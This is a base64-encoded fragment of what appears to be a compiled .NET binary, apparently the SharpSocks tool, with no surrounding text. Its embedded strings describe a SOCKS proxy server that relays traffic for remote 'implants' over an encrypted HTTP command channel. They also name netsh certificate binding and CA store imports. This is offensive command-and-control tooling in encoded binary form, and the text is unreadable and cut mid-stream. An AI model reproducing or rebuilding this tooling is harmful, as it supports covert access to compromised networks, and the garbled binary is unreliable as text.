ABnZXRfQWRkcmVzc0xpc3QAbGlzdGVuZXJJbnN0AFNoYXJwU29ja3NUZXN0QXBwLkhvc3QAZ2V0X0hvc3QAQWRkQ2VydGlmaWNhdGVUb0hvc3QAX3RhcmdldEhvc3QAaG9zdABGaXJzdABTb2Nrc1RpbWVvdXQAdGltZW91dABnZXRfU3RhbmRhcmRPdXRwdXQAc2V0X1JlZGlyZWN0U3RhbmRhcmRPdXRwdXQARGVidWdGaWxlT3V0cHV0AERlYnVnQ29uc29sZU91dHB1dABJTG9nT3V0cHV0AGxvZ091dHB1dABNb3ZlTmV4dABTeXN0ZW0uVGV4dABIdHRwTGlzdGVuZXJDb250ZXh0AEVuZEdldENvbnRleHQAQmVnaW5HZXRDb250ZXh0AGdldF9EYXRhUmVjdgBzZXRfRGF0YVJlY3YAX2RhdGFSZWN2AFN0YXJ0TmV3AGdldF9Ob3cAc2V0X0NyZWF0ZU5vV2luZG93AF9pcFJlZ2V4AF9zaW1wbGVJcFBvcnRSZWdleABnZXRfaG9zdDJjZXJ0X3BmeABfbWF0Y2hVcmlSZ3gAY3R4AEZyb21CeXRlQXJyYXkAVG9CeXRlQXJyYXkAVG9BcnJheQBUb0NoYXJBcnJheQBiYXNlNjRLZXkAc2V0X0tleQBnZXRfUHVibGljS2V5AEVDRGlmZmllSGVsbG1hbkNuZ1B1YmxpY0tleQBFQ0RpZmZpZUhlbGxtYW5QdWJsaWNLZXkAc2V0X1RoZWlyUHVibGljS2V5AERlcml2ZUtleQBFbmNyeXB0aW9uS2V5AENvbnRhaW5zS2V5AF9rZXkAU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeQBnZXRfQXNzZW1ibHkAR2V0RXhlY3V0aW5nQXNzZW1ibHkAQW55AFByb3RlY3RlZE1lbW9yeQBnZXRfRmFjdG9yeQBUYXNrRmFjdG9yeQBzZXRfV29ya2luZ0RpcmVjdG9yeQBJUEhvc3RFbnRyeQBHZXRIb3N0RW50cnkAb3BfRXF1YWxpdHkAU3lzdGVtLlNlY3VyaXR5AElzTnVsbE9yRW1wdHkAU29ja3NQcm94eQAAQU0AZQBzAHMAYQBnAGUAIABoAGEAcwAgAGEAcgByAGkAdgBlAGQAIABiAGEAYwBrACAAZgBvAHIAIAB7ADAAfQAATVQAYQByAGcAZQB0ACAAewAwAH0AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAFMAbwBjAGsAcwAgAGkAbgBzAHQAYQBuAGMAZQAACW8AcABlAG4AAC9jAGwAbwBzAGkAbgBnACAAKABTAE8AQwBLAFMAIAB0AGkAbQBlAG8AdQB0ACkAAD1jAGwAbwBzAGkAbgBnACAAKABpAG0AcABsAGEAbgB0ACAAYwBhAGwAbABlAGQAIABjAGwAbwBzAGUAKQAAe1MAbwBtAGUAdABoAGkAbgBnACAAYQB0AHQAZQBtAHAAdABlAGQAIAB0AG8AIABjAG8AbgBuAGUAYwB0ACAAYgB1AHQAIABjAGEAbgAnAHQAIAByAGUAYQBkACAAZgByAG8AbQAgAHQAaABlACAAcwB0AHIAZQBhAG0AAWlUAGkAbQBlAGQAIABvAHUAdAAgACgAewAwAH0AcwApACAAdAByAHkAaQBuAGcAIAB0AG8AIAByAGUAYQBkACAAZgByAG8AbQAgAFMATwBDAEsAUwAgAGMAbwBuAGUAYwB0AGkAbwBuAAAxYwBsAG8AcwBpAG4AZwAgACgAUwBPAEMASwBTACAAdABpAG0AZQAgAG8AdQB0ACkAAGVDAG8AbgBuAGUAYwB0AGkAbwBuACAAdABvACAAewAwAH0AOgB7ADEAfQAgAGgAYQBzACAAZAByAG8AcABwAGUAZAAgAGIAZQBmAG8AcgBlACAAZABhAHQAYQAgAHMAZQBuAHQAAE1DAG8AbgBuAGUAYwB0AGkAbwBuACAAdABvACAAewAwAH0AOgB7ADEAfQAgAGgAYQBzACAAZAByAG8AcABwAGUAZAA6ACAAewAyAH0AAF1DAG8AbgBuAGUAYwB0AGkAbwBuACAAYwBsAG8AcwBlAGQAIAB0AG8AIAB7ADAAfQA6AHsAMQB9ACAAYQBmAHQAZQByACAAKAB7ADIAfQBzACkAIABpAGQAbABlAAAxQwBvAG4AbgBlAGMAdABpAG8AbgAgAHQAbwAgAHsAMAB9ACAAYwBsAG8AcwBlAGQAADlDAG8AbgBuAGUAYwB0AGkAbwBuACAAdABvACAAewAwAH0AOgB7ADEAfQAgAGMAbABvAHMAZQBkAABnQwBsAGkAZQBuAHQAIABzAGUAbgB0ACAAZABhAHQAYQAgACgAcwBpAHoAZQA6ACAAewAwAH0AKQAgAHsAMQB9ACAAdwByAGkAdABpAG4AZwAgAHQAbwAgAEkAbQBwAGwAYQBuAHQAAE9DAG8AbgBuAGUAYwB0AGkAbwBuACAAdABvACAAewAwAH0AIABoAGEAcwAgAGQAcgBvAHAAcABlAGQAIABjAGEAdQBzAGUAIAB7ADEAfQAAV0MAbwBuAG4AZQBjAHQAaQBvAG4AIAB0AG8AIAB7ADAAfQA6AHsAMQB9ACAAaABhAHMAIABkAHIAbwBwAHAAZQBkACAAYwBhAHUAcwBlACAAewAyAH0AAICPUgBlAGMAaQBlAHYAZQBkACAAcABhAHkAbABvAGEAZAAgAGIAYQBjAGsAIABmAHIAbwBtACAASQBtAHAAbABhAG4AdAAgACgAcwBpAHoAZQA6ACAAewAwAH0AIABmAG8AcgAgAHsAMQB9ACAAdwByAGkAdABpAG4AZwAgAHQAbwAgAGMAbABpAGUAbgB0AACAh1MAbwBjAGsAcwAgAHMAZQByAHYAZQByADoAIABiAHUAZgBmAGUAcgAgAHMAaQB6AGUAIAB7ADAAfQAgAGkAcwAgAG4AbwB0ACAAdgBhAGwAaQBkACwAIABtAHUAcwB0ACAAYgBlACAAYgBlAHQAdwBlAGUAbgAgADkAIAAmACAAMgA1ADYAAF9VAHMAZQByACAAaQBkACAAaQBzACAAaQBuAHYAYQBsAGkAZAAgAHIAZQBqAGUAYwB0AGkAbgBnACAAYwBvAG4AbgBlAGMAdABpAG8AbgAgAHIAZQBxAHUAZQBzAHQAAF9IAG8AcwB0ACAAbgBhAG0AZQAgAGkAcwAgAGUAbQBwAHQAeQAgAHIAZQBqAGUAYwB0AGkAbgBnACAAYwBvAG4AbgBlAGMAdABpAG8AbgAgAHIAZQBxAHUAZQBzAHQAAGtIAG8AcwB0ACAAbgBhAG0AZQAgAHsAMAB9ACAAaQBzACAAaQBuAHYAYQBsAGkAZAAgAHIAZQBqAGUAYwB0AGkAbgBnACAAYwBvAG4AbgBlAGMAdABpAG8AbgAgAHIAZQBxAHUAZQBzAHQAAF1SAGUAYwBpAGUAdgBlAGQAIABTAE8AQwBLAFMAIABtAGUAcwBzAGEAZwBlACAAdABvACAAbwBwAGUAbgAgAHAAbwByAHQAIAB7ADAAfQAgAG8AbgAgAHsAMQB9AAAPbwBwAGUAbgBpAG4AZwAAU1QAaABpAHMAIABwAG8AaQBuAHQAZQByACAAaQBzACAATgBVAEwATAAgAHMAbwBtAGUAdABoAGkAbgBnACAAdwByAG8AbgBnACAAaABlAHIAZQAAVU8AcABlAG4AZQBkACAAUwBPAEMASwBTACAAcABvAHIAdAAgAHsAMAB9ACAAbwBuACAAewAxAH0ALAAgAHQAYQByAGcAZQB0AGkAZAAgAHsAMgB9AAANYwBsAG8AcwBlAGQAABtTAGgAYQByAHAAUwBvAGMAawBzAEsAZQB5AAAxSAB0AHQAcAAgAEwAaQBzAHQAZQBuAGUAcgAgAGYAYQBsAGwAZQBkACAAewAwAH0AAB1DAG8AbQBtAGEAbgBkAEMAaABhAG4AbgBlAGwAAAEADUMAbABvAHMAZQBkAAATQwBvAG4AbgBlAGMAdABlAGQAAAtOAGUAdgBlAHIAAEdFAFIAUgBPAFIAIABQAHIAbwBjAGUAcwBzAGkAbgBnACAAcwBlAHMAcwBpAG8AbgAgAGMAbwBvAGsAaQBlACAAewAwAH0AAD9DAGEAbgAnAHQAIABkAGUAYwByAHkAcAB0ACAAcwBlAHMAcwBpAG8AbgAgAGMAbwBvAGsAaQBlAHsAMAB9AAFjUwBlAHMAcwBpAG8AbgAgAGMAbwBvAGsAaQBlACAAZABlAGMAcgB5AHAAdABlAGQAIAB0AG8AIABuAG8AdABoAGkAbgBnACAAbwByACAAdwBoAGkAdABlAHMAcABhAGMAZQAAWUUAcgByAG8AcgAgAG8AYwBjAHUAcgBlAGQAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbgBnACAAdwBpAHQAaAAgAGkAbQBwAGwAYQBuAHQAIAB7ADAAfQAACVAATwBTAFQAAAdHAEUAVAAAS0UAUgBSAE8AUgAgAFAAcgBvAGMAZQBzAHMAaQBuAGcAIABwAGEAeQBsAG8AYQBkACAAZABhAHQAYQAgAHsAMAB9ACAAewAxAH0AABFSAGUAcwBwAG8AbgBzAGUAAAtUAGEAcwBrAHMAAEVDAG8AbQBtAGEAbgBkACAAYwBoAGEAbgBuAGUAbAAgAHMAZQBuAGQAaQBuAGcAIAB7ADAAfQAgAHQAYQBzAGsAcwAgAABrQwBvAG0AbQBhAG4AZAAgAGMAaABhAG4AbgBlAGwAIABwAGEAeQBsAG8AYQBkACAAewAwAH0AIABiAHkAdABlAHMALAAgAHMAZQBuAGQAaQBuAGcAIAB7ADEAfQAgAHQAYQBzAGsAcwAgAABZRQBSAFIATwBSACAAUAByAG8AYwBlAHMAcwBpAG4AZwAgAGMAbwBtAG0AYQBuAGQAIABjAGgAYQBuAG4AZQBsACAAbQBlAHMAcwBhAGcAZQAgAHsAMAB9AABPQwBsAG8AcwBlACAAYwBvAG4AbgBlAGMAdABpAG8AbgAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkACAAbwBuACAAewAwAH0AADdHAEUAVAAgAHcAaQB0AGgAIABuAG8AIABwAGEAeQBsAG8AYQBkACAAZgBvAHIAIAB7ADAAfQAAPUQAYQB0AGEAIABmAG8AcgAgAHsAMAB9ACAAewAxAH0AIABiAHkAdABlAHMAIABzAGUAbgB0ACAAdQBwAAA/VABoAGUAIAB7ADAAfQAgAHMAZQBzAHMAaQBvAG4AIABpAGQAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZAAAYUUAUgBSAE8AUgAgAFAAcgBvAGMAZQBzAHMAaQBuAGcAIAByAGUAcwBwAG8AbgBzAGUAIABmAG8AcgAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAB7ADAAfQAgAHsAMQB9AABTRQBSAFIATwBSACAAVwByAGkAdABpAG4AZwAgAHIAZQBzAHAAbwBuAHMAZQAgAGIAYQBjAGsAIAB0AG8AIABjAGwAaQBlAG4AdAAgAHsAMAB9AAA7QwBvAG0AbQBhAG4AZABDAGgAYQBuAG4AZQBsAC8ATABpAHMAdABlAG4AZQByAFMAdABhAHQAdQBzAAAPUwB1AGMAYwBlAHMAcwAACVQAYQBzAGsAAB1DAHIAZQBhAHQAZQBMAGkAcwB0AGUAbgBlAHIAABVUAGEAcgBnAGUAdABIAG8AcwB0AAAVVABhAHIAZwBlAHQAUABvAHIAdAAAE1MAZQBzAHMAaQBvAG4ASQBEAAAbQwBsAG8AcwBlAEwAaQBzAHQAZQBuAGUAcgAADVMAdABhAHQAdQBzAAA5UwB0AGEAdAB1AHMAIABjAG8AbgBuAGUAYwB0AGkAbwBuACAAewAwAH0AIABpAHMAIAB7ADEAfQAAgNNeACgAKABbADAALQA5AF0AfABbADEALQA5AF0AWwAwAC0AOQBdAHwAMQBbADAALQA5AF0AewAyAH0AfAAyAFsAMAAtADQAXQBbADAALQA5AF0AfAAyADUAWwAwAC0ANQBdACkAXAAuACkAewAzAH0AKABbADAALQA5AF0AfABbADEALQA5AF0AWwAwAC0AOQBdAHwAMQBbADAALQA5AF0AewAyAH0AfAAyAFsAMAAtADQAXQBbADAALQA5AF0AfAAyADUAWwAwAC0ANQBdACkAJAABgQdeACgAKABbADAALQA5AF0AfABbADEALQA5AF0AWwAwAC0AOQBdAHwAMQBbADAALQA5AF0AewAyAH0AfAAyAFsAMAAtADQAXQBbADAALQA5AF0AfAAyADUAWwAwAC0ANQBdACkAXAAuACkAewAzAH0AKABbADAALQA5AF0AfABbADEALQA5AF0AWwAwAC0AOQBdAHwAMQBbADAALQA5AF0AewAyAH0AfAAyAFsAMAAtADQAXQBbADAALQA5AF0AfAAyADUAWwAwAC0ANQBdACkAKABcAC8AKAA/ADwAcABvAHIAdAA+ACgAOgBcAGQAWwAwAC0AOQBdAC4AKgA/ACkAKQApACQAATlGAGEAaQBsAGUAZAAgAHQAbwAgAGQAZQByAGkAdgBlACAAcwBlAHIAdgBlAHIAIABrAGUAeQAgAABvSwBlAHkAIABoAGEAcwBuACcAdAAgAGIAZQBlAG4AIABkAGUAcgBpAHYAZQBkACAAeQBlAHQALAAgAGUAbgBjAHIAeQBwAHQAaQBvAG4AIABpAHMAbgAnAHQAIABhAHYAYQBpAGwAYQBiAGwAZQABJUUAbgBjAHIAeQBwAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAgAAA5VQBTAEkATgBHACAARABFAEIAVQBHACAAUwBJAE0AUABMAEUAIABFAE4AQwBSAFkAUABUAE8AUgAAN1MAaABhAHIAcABTAG8AYwBrAHMAUwBlAHIAdgBlAHIALgBTAGgAYQByAHAAUwBvAGMAawBzAAAbaABvAHMAdAAyAGMAZQByAHQAXwBwAGYAeAAAB28AZgBmAAAFbwBuAAB/VwBhAGkAdAAgAGYAbwByACAASQBtAHAAbABhAG4AdAAgAFQAQwBQACAAQwBvAG4AbgBlAGMAdAAgAGIAZQBmAG8AcgBlACAAUwBPAEMASwBTACAAUAByAG8AeAB5ACAAcgBlAHMAcABvAG4AcwBlACAAaQBzACAAewAwAH0AAAMqAABRUwBvAGMAawBzACAAcAByAG8AeAB5ACAAbABpAHMAdABlAG4AaQBuAGcAIABzAHQAYQByAHQAZQBkACAAbwBuACAAewAwAH0AOgB7ADEAfQAAHVMAdABhAHIAdABTAG8AYwBrAHMAIAB7ADAAfQAAXUkAbgBpAHQAaQBhAGwAIABTAE8AQwBLAFMAIABSAGUAYQBkACAAZgBhAGkAbABlAGQAIABmAG8AcgAgAGUAbgBkAHAAbwBpAG4AdAAgAHsAMAB9ACAAewAxAH0AAAN5AAAZWwB7ADAAfQBdAFsAWABdACAAewAxAH0AABlbAHsAMAB9AF0AWwAhAF0AIAB7ADEAfQAATVsAewAwAH0AXQBbAFgAXQAgAEUAcgByAG8AcgAgAEMAbwBkAGUAOgAgAHsAMQB9ACAATQBlAHMAcwBhAGcAZQA6ACAAewAyAH0AIAAAB3sAMAB9AABPRQBSAFIATwBSADoAIABMAG8AZwAgAGQAaQByAGUAYwB0AG8AcgB5ACAAewAwAH0AIABkAG8AZQBzACAAbgBvAHQAIABlAHgAaQBzAHQAAC1TAGgAYQByAHAAUwBvAGMAawBzAF8ATABvAGcAXwB7ADAAfQAuAHQAeAB0AAAneQB5AHkAeQAtAGQAZAAtAE0ALQAtAEgASAAtAG0AbQAtAHMAcwABRUUAUgBSAE8AUgA6ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAB3AHIAaQB0AGUAIAB0AG8AIAB7ADAAfQA6ACAAewAxAH0AAICPKAA/ADwAcwBjAGgAZQBtAGUAPgBoAHQAdABwAFsAcwBdAHsAMAAsADEAfQApAFsAOgBdAHsAMQB9AC8ALwAoAD8APABkAG8AbQBhAGkAbgA+AC4AKgApAFsAOgBdAHsAMAAsADEAfQAoAD8APABwAG8AcgB0AD4AWwAwAC0AOQBdAHsAMAAsADUAfQApAAEPMAAuADAALgAwAC4AMAAABzQANAAzAAANcwBjAGgAZQBtAGUAAAtoAHQAdABwAHMAAA1kAG8AbQBhAGkAbgAABSoAOgAAcVQAaABlACAAVQBSAEkAIAB7ADAAfQAgAGMAbwBuAHQAYQBpAG4AcwAgAHQAbwBvACAAbQBhAG4AeQAgAGMAbwBsAG8AbgBzACwAIABwAGwAZQBhAHMAZQAgAHMAbwByAHQAIABpAHQAIABvAHUAdAAACXAAbwByAHQAAICLQwBhAG4AJwB0ACAAcgBlAHMAbwBsAHYAZQAgAHQAaABlACAAaABvAHMAdAAgAHsAMAB9ACAAdABvACAAYQBuACAASQBQACAAcwBvACAAdQBuAGEAYgBsAGUAIAB0AG8AIABiAGkAbgBkACAAdABoAGUAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAYCHTgBvACAAYwBlAHIAdAAgAHMAcABlAGMAaQBmAGkAZQBkACAAZgBvAHIAIAB7ADAAfQAgAHUAbgBsAGUAcwBzACAAYQBsAHIAZQBhAGQAeQAgAGIAbwB1AG4AZAAgAHcAaQBsAGwAIAB1AHMAZQAgAHQAaABlACAAZABlAGYAYQB1AGwAdAAAYU4AbwAgAGgAZQBhAGQAZQByAHMAIAByAGUAdAB1AHIAbgBlAGQAIABmAHIAbwBtACAAbgBlAHQAcwBoACwAIAB0AGgAYQB0ACcAcwAgAG4AbwB0ACAAcgBpAGcAaAB0AAFXQwBlAHIAdABpAGYAaQBjAGEAdABlACAAZgBvAHUAbgBkACAAbwBuACAAewAwAH0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAewB7AHsAMQB9AH0AfQAAD0kAUAA6AHAAbwByAHQAACFDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABIAGEAcwBoAAA/TgBvACAAYwBlAHIAdABpAGYAaQBjAGEAdABlACAAZgBvAHUAbgBkACAAbwBuACAAewAwAH0AOgB7ADEAfQAAW0kAbQBwAG8AcgB0AGkAbgBnACAAdABoAGUAIABkAGUAZgBhAHUAbAB0ACAAUwBoAGEAcgBwAFMAbwBjAGsAcwAgAGMAZQByAHQAIAB7AHsAewAwAH0AfQB9AABxQwBlAHIAdAAgAHcAaQB0AGgAIABoAGEAcwBoACAAewB7AHsAMAB9AH0AfQAgAGkAcwAgAG4AbwB0ACAAaQBuACAAdABoAGUAIABDAEEAIABzAHQAbwByAGUAIABhAGQAZABpAG4AZwAgAG4AbwB3AAB5VQBuAGEAYgBsAGUAIAB0AG8AIABpAG0AcABvAHIAdAAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAHcAaQB0AGgAIABoAGEAcwBoACAAewB7AHsAMAB9AH0AfQAgAGkAbgB0AG8AIABDAEEAUwB0AG8AcgBlACkAAGVDAGUAcgB0ACAAewB7AHsAMAB9AH0AfQBoAGEAcwAgAGIAZQBlAG4AIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAGEAZABkAGUAZAAgAHQAbwAgAHsAMQB9ADoAewAyAH0AAGNFAFIAUgBPAFIAOgAgAEMAZQByAHQAIAB7AHsAewAwAH0AfQB9ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABiAGUAIABhAGQAZABlAGQAIAB0AG8AIAB7ADEAfQA6AHsAMgB9AABPVQBuAGEAYgBsAGUAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAEMAQQAgAFMAdABvAHIAZQAsACAAZQByAHIAbwByACAAewAwAH0AAFdVAG4AYQBiAGwAZQAgAHQAbwAgAGEAZABkACAAYwBlAHIAdAAgAGYAcgBvAG0AIABDAEEAIABTAHQAbwByAGUALAAgAGUAcgByAG8AcgAgAHsAMAB9AABdVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAbQBvAHYAZQAgAGMAZQByAHQAIABmAHIAbwBtACAAQwBBACAAUwB0AG8AcgBlACwAIABlAHIAcgBvAHIAIAB7ADAAfQAAQWgAdAB0AHAAIABzAGgAbwB3ACAAcwBzAGwAYwBlAHIAdAAgAGkAcABwAG8AcgB0AD0AewAwAH0AOgB7ADEAfQAAVVQAaABlACAAcwB5AHMAdABlAG0AIABjAGEAbgBuAG8AdAAgAGYAaQBuAGQAIAB0AGgAZQAgAGYAaQBsAGUAIABzAHAAZQBjAGkAZgBpAGUAZAAuAAANDQAKAHwADQB8AAoAADNFAHgAYwBlAHAAdABpAG8AbgAgAGgAYQBzACAAZgBpAHIAZQBkACAAOgAgAHsAMAB9AABPVQBuAGEAYgBsAGUAIAB0AG8AIABnAGUAdAAgAHQAaABlACAAQwBlAHIAdABIAGEAcwBoACwAIABFAHIAcgBvAHIAIAA6ACAAewAwAH0AAEVoAHQAdABwACAAZABlAGwAZQB0AGUAIABzAHMAbABjAGUAcgB0ACAAaQBwAHAAbwByAHQAPQB7ADAAfQA6AHsAMQB9AABxVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAbQBvAHYAZQAgAHQAaABlACAAQwBlAHIAdAAgAGYAcgBvAG0AIABpAHAAcABvAHIAdAA9AHsAMAB9ADoAewAxAH0AIABFAHIAcgBvAHIAOgAgAHsAMgB9AAAvRgBpAGwAZQAgAHsAMAB9ACAAZABvAGUAcwAgAG4AbwB0ACAAZQB4AGkAcwB0AABvVQBuAGEAYgBsAGUAIAB0AG8AIABhAGQAZAAgAHQAaABlACAAYwBlAHIAdAAgAHsAMAB9ACAAdABvACAAaQBwAHAAbwByAHQAPQB7ADEAfQA6AHsAMgB9ACAARQByAHIAbwByADoAIAB7ADMAfQAAgLdoAHQAdABwACAAYQBkAGQAIABzAHMAbABjAGUAcgB0ACAAaQBwAHAAbwByAHQAPQB7ADAAfQA6AHsAMQB9ACAAYwBlAHIAdABoAGEAcwBoAD0AewAyAH0AIABhAHAAcABpAGQAPQB7AHsAMAAwADEAMQAyADIAMwAzAC0ANAA0ADUANQAtADYANgA3ADcALQA4ADgAOQA5AC0AQQBBAEIAQgBDAEMARABEAEUARQBGAEYAfQB9AAF3VQBuAGEAYgBsAGUAIAB0AG8AIABhAGQAZAAgAHQAaABlACAAYwBlAHIAdAAgAHsAewB7ADAAfQB9AH0AIAB0AG8AIABpAHAAcABvAHIAdAA9AHsAMQB9ADoAewAyAH0AIABFAHIAcgBvAHIAOgAgAHsAMwB9AABFUwBTAEwAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABhAGQAZAAgAGYAYQBpAGwAZQBkACwAIABFAHIAcgBvAHIAOgAAZU8AbgBlACAAbwByACAAbQBvAHIAZQAgAGUAcwBzAGUAbgB0AGkAYQBsACAAcABhAHIAYQBtAGUAdABlAHIAcwAgAHcAZQByAGUAIABuAG8AdAAgAGUAbgB0AGUAcgBlAGQALgAAaUkAbQBwAG8AcgB0ACAAbwBmACAAYwBlAHIAdABpAGYAaQBjAGEAdABlACAAaABhAHMAIABmAGEAaQBsAGUAZAAsACAAcABhAHIAYQBtAHMAIABhAHIAZQAgAGkAbgB2AGEAbABpAGQAAEVTAFMATAAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAYQBkAGQAZQBkAAAnQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgAAO0MAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABuAGUAdABzAGgALgBlAHgAZQAAC3IAdQBuAGEAcwAAJVAAdQBiAGwAaQBjACAAawBlAHkAIABmAG8AcgAgAHsAMAB9AAAjQQBTAFAALgBOAEUAVABfAFMAZQBzAHMAaQBvAG4ASQBkAAA1XwBfAFIAZQBxAHUAZQBzAHQAVgBlAHIAaQBmAGkAYwBhAHQAaQBvAG4AVABvAGsAZQBuAAADLwAARUMAMgAgAEgAVABUAFAAIABwAHIAbwBjAGUAcwBzAG8AcgAgAGwAaQBzAHQAZQBuAGkAbgBnACAAbwBuACAAewAwAH0AAEVGAGEAaQBsAGUAZAAgAHQAbwAgAHIAZQBzAG8AbAB2AGUAIAB0AHkAcABlAG8AZgAgAEgAbwBzAHQAOgAgAHsAMAB9AAAPewAwAH0AOgB7ADEAfQAAb1cAYQBpAHQAaQBuAGcAIABmAG8AcgAgAGMAbwBtAG0AYQBuAGQAIABjAGgAYQBuAG4AZQBsACAAYgBlAGYAbwByAGUAIABzAHQAYQByAHQAaQBuAGcAIABTAE8AQwBLAFMAIABwAHIAbwB4AHkAADlNAGUAcwBzAGEAZwBlACAAYQByAHIAaQB2AGUAZAAgAHsAMAB9ACAAZgByAG8AbQAgAHsAMQB9AABxRQByAHIAbwByACAAbwBjAGMAdQByAGUAZAAgAG8AbgAgAEUAbgBkAFAAbwBpAG4AdAAgAHsAMAB9ACAAcwBoAHUAdAB0AGkAbgBnACAAZABvAHcAbgAgAGMAYQB1AHMAZQAgAG8AZgAgAHsAMQB9AAAFIAA6AABfSQBtAHAAbwByAHQAIABvAGYAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABoAGEAcwAgAGYAYQBpAGwAZQBkACAAZQByAHIAbwByACAAYwBvAGQAZQAgAHsAMAB9AAAAAADsWloYOsdHT6+y41TDIg/WAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIFI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